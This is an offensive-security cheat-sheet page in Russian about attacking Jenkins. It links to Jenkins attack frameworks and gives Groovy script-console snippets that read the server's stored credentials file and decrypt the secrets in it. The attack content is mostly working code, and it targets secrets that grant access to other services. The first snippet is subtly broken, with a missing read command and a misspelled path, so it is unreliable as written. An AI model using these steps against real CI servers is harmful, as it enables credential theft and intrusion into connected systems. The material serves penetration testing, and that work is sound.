> For the complete documentation index, see [llms.txt](https://appsecurity.gitbook.io/offensive/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://appsecurity.gitbook.io/offensive/appsec/technologies/ci-cd-1/jenkins.md).

# Jenkins

Jenkins:\
<https://github.com/DolosGroup/Jenkins-Pillage>

PWN:\
<https://github.com/gquere/pwn_jenkins>\
<https://github.com/Accenture/jenkins-attack-framework>

## Примеры

### Консоль

<https://host/jenkins/script>

#### Получение зашифрованных паролей

Jenkins хранит учетные данные для различных сервисов, указанных по адресу <https://host/jenkins/credentials/>, а в файловой системе эти учетные данные хранятся в зашифрованном виде в файле /var/jenkins\_home/credentials.xml.

```groovy
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = ' /var/jenikins_home/credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```

#### Расшифрование паролей

```groovy
println(hudson.util.Secret.decrypt("{AQAA...BBr}"))
```
